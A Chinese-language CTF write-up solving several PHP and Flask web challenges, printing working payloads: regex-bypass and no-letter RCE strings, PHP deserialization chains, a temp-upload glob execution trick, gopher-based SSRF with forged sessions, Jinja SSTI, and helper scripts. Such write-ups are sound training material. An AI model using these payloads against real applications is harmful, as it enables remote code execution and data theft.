前言
作为刚刚入坑 CTF 的 web 萌新,刷题是很重要的。这是十分廉价的提升能力的途径。2023年12月份,没有固定的刷题场所,找了几个小比赛做了点题目,现总结一下
内部靶场 | include
高端的题目往往只需要极少的代码
开题后,映入眼帘只有四行代码
<?php
highlight_file(__FILE__);
file($_POST['file']);
?>
这题是 E 神给我做的题,问过了他,不需要扫路径端口之类的,就只用关注上面的代码,并且 flag 就在 /flag
路径下
知识点: file 函数能够进行文件读取,并且返回一个包含文件内容的数组
那么问题来了,file 函数是不会主动回显的,要怎么读取 flag 的内容呢?最开始尝试使用 php://input
伪协议来进行 rce,然后发现没有反应。思考了一下, file 函数应该是没法进行 rce 的,因为只能读文件而不是像 include 一样的文件包含
那要咋整?E 神给了提示,要使用 php://filter
伪协议
然后就在 E 神的博客里直接找到了答案 (乐),给了一个脚本,稍微修改就能直接用了,然后就静静等待它把 flag 爆出来就好了
脚本原文指路: Webの侧信道初步认识
该脚本的原理原理是 filter chain
,很巧妙,b站有介绍视频
视频指路: PHP_Filter_Chain细讲
内部靶场 | easyinclude
开题后是如下 php 代码
<?php
show_source(__FILE__);
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'lzx found you!!!!!<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare
|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local
|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap
|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'lzx says you are so vegetable!!!<br/><br/>';
} else {
echo 'Well! Now run the command to get flag!<br/>';
putenv('PATH=/leran/linux/command');
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
先看上面的大段,一眼多行绕过,因为 ^.*
只匹配第一行(不用多行模式的情况下)
再往后看,rce 要用到的 \$cmd 需要从一个 json 字符串里取 $cmd = json_decode($json, true)['cmd'];
\$json 又是从请求参数 cmd 中来的 $json = $_REQUEST['cmd'];
这就很好办了,在 post 参数 cmd 中构造一个多行的 json 字符串即可
POST / HTTP/1.1
Host: c8331865-e01a-46db-a087-8d7a27b6ea68.ctf.szu.moe
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
cmd={%0a"cmd":"ls"%0a}
但是,发送上面的请求后,竟然没有回显。这是因为在命令执行前,代码 putenv('PATH=/leran/linux/command');
改变了环境变量,导致没法直接使用 ls
命令,因为系统找不着它
那就使用 ls
的完整路径 /bin/ls
,此时就有回显了
接下来就是看各种目录,找可疑文件,然后使用 /bin/cat <filename>
来读取
最终 http 报文
POST / HTTP/1.1
Host: c8331865-e01a-46db-a087-8d7a27b6ea68.ctf.szu.moe
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
cmd={%0a"cmd":"/bin/cat /f*"%0a}
PCTF | Escape
开题!拿到 php 代码
<?php
error_reporting(0);
highlight_file(__file__);
class G
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='login')
{
include('flag.php');
echo $flag;
}
else
{
echo 'Who are you? 不要乱来啊!';
}
}
}
function filter($string){
return str_replace('owl','Monkey',$string);
}
$uname=$_GET['参数对吗?7']; //
$password=1;
$ser=filter(serialize(new G($uname,$password)));
$test=unserialize($ser);
这题考点是反序列化的字符逃逸,重点在 filter
函数,它将 owl
替换为 Monkey
,我们可以利用它来篡改序列化字符串的内容
为啥要篡改?好好的序列化字符串,我改它做什么呢?这是因为题目中的 G 类在构造时,会先确定好 uname
和 password
的值。而下面这段代码,将 $password
写死为 1,这样构造的类的 $this->password
不为 login
,也就没法 rce 了
$password=1;
$ser=filter(serialize(new G($uname,$password)));
$test=unserialize($ser);
在反序列化前,serialize(new G($uname,$password))
经过了一次 filter
函数的处理,也就让我们有了可乘之机,利用字符逃逸,将 $this->password
的值修改为 login
我们可以得到以下代码段
<?php
class G
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
}
function filter($string){
return str_replace('owl','Monkey',$string);
}
$uname = 'owlowlowlowlowlowlowlowlowlowl";s:8:"password";s:5:"login";}';
$password = 1;
$ser=filter(serialize(new G($uname,$password)));
echo $ser;
令 $uname='owlowlowlowlowlowlowlowlowlowl";s:8:"password";s:5:"login";}';
就能使 $this->password
变为 login
我们来看该程序的输出结果
在进行 filter 的处理后,10个owl
变为了10个Monkey
,长度刚好为60,此时由于 "
的截断,后面的内容就成功逃逸出来,成为了 G 类的一部分,最后再使用 }
来结束 G 类的反序列化处理,后面的 ";s:8:"password";i:1}
就被丢弃了
所以我们 get 传参 7=owlowlowlowlowlowlowlowlowlowl";s:8:"password";s:5:"login";}
应该就能过了 (吗?)
然而并没有这么简单,问题出在参数名上
$uname=$_GET['参数对吗?7']; //
把这段代码复制到 VSCode 中就能发现不对劲
参数名里包含了一些不可见字符,所以我们使用下面的代码,将这个包含不可见字符的字符串转为 URL 编码作为我们的参数名
运行结果是 %E2%80%AE%E2%81%A6%E5%8F%82%E6%95%B0%E5%AF%B9%E5%90%97%EF%BC%9F%E2%81%A9%E2%81%A67
所以我们 get 传参 %E2%80%AE%E2%81%A6%E5%8F%82%E6%95%B0%E5%AF%B9%E5%90%97%EF%BC%9F%E2%81%A9%E2%81%A67=owlowlowlowlowlowlowlowlowlowl";s:8:"password";s:5:"login";}
即可 capture the flag
PCTF | ezzzzRCE
开题后是如下 php 代码
<?php
highlight_file(__FILE__);
error_reporting(0);
$code = $_POST['cmd'];
if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code))
{
die('想当CTFer?还是欠了点');
}
else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code))
{
echo "你好CTFer✌";
@eval($code);
}
一眼无字母 RCE,看看是异或绕过还是取反绕过,还是说换行绕过
preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)
很显然换行绕过是做不到的,因为有正则修饰符 m
(多行模式),异或也是行不通的,^
符号被拦了
那就只能取反了,使用以下 php 脚本来构造 payload (运行前,先将不可用字符写入 can_not_use.txt 中)
<?php
$a = `cat can_not_use.txt`;
eval("\$can_not_use=array(".$a.");");
function check($char) {
global $can_not_use;
for ($x=0; $x<count($can_not_use); $x++) {
if (strpos($char, $can_not_use[$x]) !== false) {
return false;
}
}
return true;
}
function neg($cmd) {
echo $cmd.": ";
$neg=~$cmd;
if (check($neg)) {
echo urlencode($neg).PHP_EOL;
} else {
echo "can't do that".PHP_EOL;
}
}
neg("phpinfo");
得到 phpinfo
取反后是 %8F%97%8F%96%91%99%90
,在 php 中,能以形如 (函数名)(参数) 的方式来执行函数,这是异或绕过和取反绕过的常用方式,于是构造 cmd=(~%8F%97%8F%96%91%99%90)()
来尝试执行 phpinfo()
结果发现这是不行的?为什么呢?这要看下面的正则了
if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)
一眼无参 RCE,但这个无参 RCE,没这么简单,先来看看这个正则的解释
可以看到,它匹配的是形如 xxx() 的字符串,并且 xxx 的开头不能是小括号,这意味着 (函数名)() 的方式不可用了
那要怎么办呢?我们可以使用二维数组绕过,文章指路: [鹏城杯 2022]简单的php
假设我们想执行 phpinfo()
[~%8f%97%8f%96%91%99%90] 就是 [phpinfo]
[] 会进行执行 然后将返回内存存储为数组 然后我们需要取出数组内的东西
[~%8f%97%8f%96%91%99%90][!%ff] 就等价于 “phpinfo”
[!%ff] 这里类似于 [0] 会获取到第一位 即将 “phpinfo” 从数组中取出来了
然后补上括号即可:[~%8f%97%8f%96%91%99%90]!%FF;
然后就是常规的无参 RCE 构造方法,使用了 payload: system(end(getallheaders()));
进行一下取反
[~%8C%86%8C%8B%9A%92][!%ff]([~%9A%91%9B][!%ff]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%ff]()));
这个 payload 的用法就不解释了,加入一个恶意的请求头 rce: cmd
来进行命令执行即可
PCTF | HandsomeMonkey
访问题目 URL,得到如下 php 代码
<?php
highlight_file(__FILE__);
error_reporting(0);
Class K1ng{
public $fake;
public $real;
public $king;
public $jing;
public function __invoke(){
return $this->jing->gu();
}
public function __wakeup(){
$this->king = "美猴王";
}
public function evilfunction()
{
$this->fake = $this ->real;
eval($this->king."真假");
}
}
Class monkey{
public $key;
public function __get($name){
$this->key->evilfunction();
}
}
Class fozu{
public $rulai;
public function __call($arg,$name){
return $this->rulai->orz;
}
public function __destruct(){
($this->rulai)();
}
}
if(isset($_POST["monkey"])){
unserialize($_POST["monkey"]);
}
else{
echo "吃俺老孙一棒";
}
经典的反序列化题目,开始找链子,首先找最终目标,应该是 K1ng::evilfunction()
里的 eval($this->king."真假");
等等,他在 $this->king 后面拼接了 “真假”,这意味着后面拼接的内容会阻止 eval 函数的执行,因为 xxx真假 是不合法的命令
但是好巧不巧,我前段时间才做过类似的题目,题目代码大概长这样 eval($this->cmd.'givemegirlfriend!');
我总结了两种绕过方式:
- 使用
__halt_compiler()
函数打断编译器的执行 - 使用
?>
结束标记,将后续字符隔离出 php 环境
OK,那继续找链子吧,这题也没有什么技巧,慢慢找就是了:
K1ng::evilfunction() <- monkey::__get() <- fozu::__call() <- K1ng::__invoke() <- fozu::__destruct()
可构造 exp 为:
<?php
// 在这里把题目中的三个类补进去
$K1ng=new K1ng();
$monkey=new monkey();
$fozu1=new fozu();
$fozu2=new fozu();
$fozu1->rulai=$K1ng;
$K1ng->jing=$fozu2;
$fozu2->rulai=$monkey;
$monkey->key=$K1ng;
$K1ng->king="system('cmd');?>";
echo serialize($fozu1);
最后还要做一个 __wakeup 绕过,来对抗下面这段代码
public function __wakeup(){
$this->king = "美猴王";
}
将得到的 payload 删去最后一个 }
即可 (利用了 GC 回收机制),最终 payload:
monkey=O:4:"fozu":1:{s:5:"rulai";O:4:"K1ng":4:{s:4:"fake";N;s:4:"real";N;s:4:"king";s:20:"system('cat /f*');?>";s:4:"jing";O:4:"fozu":1:{s:5:"rulai";O:6:"monkey":1:{s:3:"key";r:2;}}}
内部靶场 | easyrce
这题真的不好归类,涉及到 php 语言特性,也涉及到 shell 命令的执行、临时文件上传
开题后是如下 php 代码
<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("p is the best alpha!!!");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die('still some "point" exploitable');
}
eval($cmd);
}
?>
超严格过滤,先是过滤了除 p 以外的数字和字母
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd))
然后过滤好几个特殊字符,包括 ~ ^ ( [ {
,这意味着没法进行异或、取反、自增绕过了
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd))
啊?这难道不是个死局吗?这里就要补充一个关于 php 接受上传文件的知识了
知识点: php文件上传时会先将上传的文件保存到配置好的目录下,由配置项 upload_tmp_dir
决定,其默认值为 /tmp
。不管 php 页面有没有接受文件的功能,只要我们上传了文件,它都会把文件临时保存到这个目录,之后会删除
这种方式临时保存的文件名为 php<编号>.tmp
,其中的编号一般为一个四位的十六进制数
所以,我们就能够用 p ? . ``` / 空格
这六个字符,来执行我们上传的恶意文件
. /tmp/php????.tmp
替换为:
. /??p/p?p????.??p
然后使用 `` 包裹, 在 eval 中直接执行 shell 命令
注意这里执行的不是 php 文件,而是直接在 shell 里运行的 shell 脚本
构造如下的 http 报文即可
POST /?cmd=`.+/??p/p?p????.??p` HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=-------123123
Content-Length: 152
-------123123
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/bash
cat /f*
-------123123--
PCTF | Double_SS
和胡师傅努力了一个多小时吧,拿了这题的一血,还是挺开心的。该题考点: 利用 gopher 协议来进行 ssrf 和 ssti
开题后是一段 php 代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
//try to access 5555 port
根据提示,我们应该是要利用这段 php 来访问靶机的 5555 端口 (直接访问 5555 端口是没有用的)
那就 post 传参 url=127.0.0.1:5555
,结果回显了以下内容
给了一段key,然后叫我们访问 /name
路由,那就先不管 key 是干嘛的,传参 url=127.0.0.1:5555/name
来看看,得到如下回显
报错了,观察报错内容,判断 5555 端口部署了一个内网的 flask 服务,结合报错 KeyError: 'admin'
和前面的 You must be the admin to access the /name
判断,所给的 key 是 flask 密钥,需要我们伪造 session={'admin':1}
来获得管理员权限。既然拿到了密钥,那伪造就很简单,直接 flask-session-cookie-manager 就行了
但是问题来了,我们如何将 Cookie 发到 127.0.0.1:5555/name
呢?利用 curl_init
来发送请求的话,需要手动使用 curl_setopt($ch, CURLOPT_COOKIEJAR,$cookie_file);
来添加 Cookie,但是我们无法更改靶机中的 php 代码。这就要求我们将 Cookie 包含到 url 中去
知识点: gopher 协议,是 HTTP 协议出现前的一种网络协议,它将请求信息都包含到 URL 中,能够实现一句 url 发送具有多个请求头、请求体的网络请求
gopher 协议的格式是 gopher://<host>:<port>/<gopher-path>_<TCP数据流>
,正因为其能够携带 <TCP数据流>
,所以他可以用来代替 http 发起 GET/POST 请求
那我们该如何将 TCP 数据流构造出来呢,方法如下:
将原始的 HTTP 报文中的全部字符进行 url 编码,若结尾无消息结束标志 %0d%0a
则手动添加,例如下面这段请求报文:
GET /hello?myname=caterpie HTTP/1.1
Host: 127.0.0.1:1234
将其全部字符进行 URL 编码并补上 %0d%0a
后:
%47%45%54%20%2f%68%65%6c%6c%6f%3f%6d%79%6e%61%6d%65%3d%63%61%74%65%72%70%69%65%20%48%54%54
%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%31%32%33%34%0d%0a
然后将其拼接到 gopher://127.0.0.1:1234/_
的后面:
gopher://127.0.0.1:1234/_%47%45%54%20%2f%68%65%6c%6c%6f%3f%6d%79%6e%61%6d%65%3d%63%61%74%65
%72%70%69%65%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%
3a%31%32%33%34%0d%0a
这样我们就成功将 HTTP 报文改写成了 gopher 协议的形式
要注意,在该题中,构造好了上述 gopher 链接后不要急着发送,因为我们发送到靶机后会预先进行一次 url 解码,这样的话 $url
拿到的内容就不对了,所以我们在构造好 gopher 请求后,应当把 gopher 链接中下划线后的内容再次进行 URL 编码,来保证其正确性
OK,接下来我们将下面的报文改写成 gopher 请求,并 post 传参
GET /name HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhZG1pbiI6MX0.ZXHGwQ.NYNUu0f_XWrWO8ptazeGatEreLQ
然后就出现了新的报错 (乐)
往下翻翻,可以看到以下信息
要我们 get 传入一个参数 name
,那就改下报文,上面的原始请求改成这样:
GET /name?name=123123 HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhZG1pbiI6MX0.ZXHGwQ.NYNUu0f_XWrWO8ptazeGatEreLQ
发现回显了 name 参数中的内容,怀疑存在模板注入,传参 name={{3*3}}
验证一下。果然存在 ssti
这个 SSTI 禁用了部分关键词,但是 _ [ ] ( ) ' "
这些字符都没禁用,那就能很轻松地使用拼接绕过了,最终 payload
GET /name?name={{''['__cl''ass__']['__ba''se__']['__subcl''asses__']()[110]['__in''it__']['__glo''bals__']['__buil''tins__']['ev''al']('__import__("o""s").po''pen("nl+/f*").read()')}} HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhZG1pbiI6MX0.ZXHGwQ.NYNUu0f_XWrWO8ptazeGatEreLQ
为了方便构造,我写了下面的 http 转 gopher 的脚本
http = """要转换的 http 报文"""
if http[-1] != '\n': http += '\n'
host = http.split("Host")[1].split("\n")[0][2:]
def urlencode(string: str):
result = ""
for i in string:
encode_char = hex(ord(i)).replace("0x","%")
if encode_char == "%a": encode_char = "%0d%0a"
result += encode_char
return result
url = urlencode(urlencode(http))
gopher = f"gopher://{host}/_{url}"
print(gopher)